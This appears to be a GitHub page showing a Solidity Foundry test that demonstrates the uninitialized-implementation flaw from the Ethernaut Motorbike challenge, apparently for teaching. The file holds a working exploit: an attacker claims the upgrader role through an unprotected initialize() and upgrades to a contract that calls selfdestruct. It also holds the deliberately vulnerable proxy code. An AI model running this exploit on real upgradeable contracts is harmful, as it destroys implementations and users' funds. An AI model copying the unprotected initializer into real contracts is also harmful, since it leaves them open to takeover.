-
Notifications
You must be signed in to change notification settings - Fork 288
/
Uninitialized_variables.sol
190 lines (163 loc) · 5.82 KB
/
Uninitialized_variables.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
/*
Name: Uninitialized variable Vulnerability
Description:
Uninitialized local storage variables may contain the value of other storage variables in the contract;
this fact can cause unintentional vulnerabilities, or be exploited deliberately.
REF:
https://blog.dixitaditya.com/ethernaut-level-25-motorbike
*/
contract ContractTest is Test {
Engine EngineContract;
Motorbike MotorbikeContract;
Attack AttackContract;
function testUninitialized() public {
EngineContract = new Engine();
MotorbikeContract = new Motorbike(address(EngineContract));
AttackContract = new Attack();
// Engine contract is not initialized
console.log("Unintialized Upgrader:", EngineContract.upgrader());
// Malicious user calls initialize() on Engine contract to become upgrader.
address(EngineContract).call(abi.encodeWithSignature("initialize()"));
// Malicious user becomes the upgrader
console.log("Initialized Upgrader:", EngineContract.upgrader());
// Upgrade the implementation of the proxy to a malicious contract and call `attack()`
bytes memory initEncoded = abi.encodeWithSignature("attack()");
address(EngineContract).call(
abi.encodeWithSignature(
"upgradeToAndCall(address,bytes)",
address(AttackContract),
initEncoded
)
);
console.log("Exploit completed");
console.log("Since EngineContract destroyed, next call will fail.");
address(EngineContract).call(
abi.encodeWithSignature(
"upgradeToAndCall(address,bytes)",
address(AttackContract),
initEncoded
)
);
}
}
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) {
require(
Address.isContract(_logic),
"ERC1967: new implementation is not a contract"
);
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success, ) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(
gas(),
implementation,
0,
calldatasize(),
0,
0
)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback() external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(
bytes32 slot
) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(
address newImplementation,
bytes memory data
) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success, ) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
event Returny(uint256);
function greetMe() public {
emit Returny(0x42);
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(
Address.isContract(newImplementation),
"ERC1967: new implementation is not a contract"
);
AddressSlot storage r;
assembly {
r.slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
contract Attack {
function attack() external {
selfdestruct(payable(msg.sender));
}
}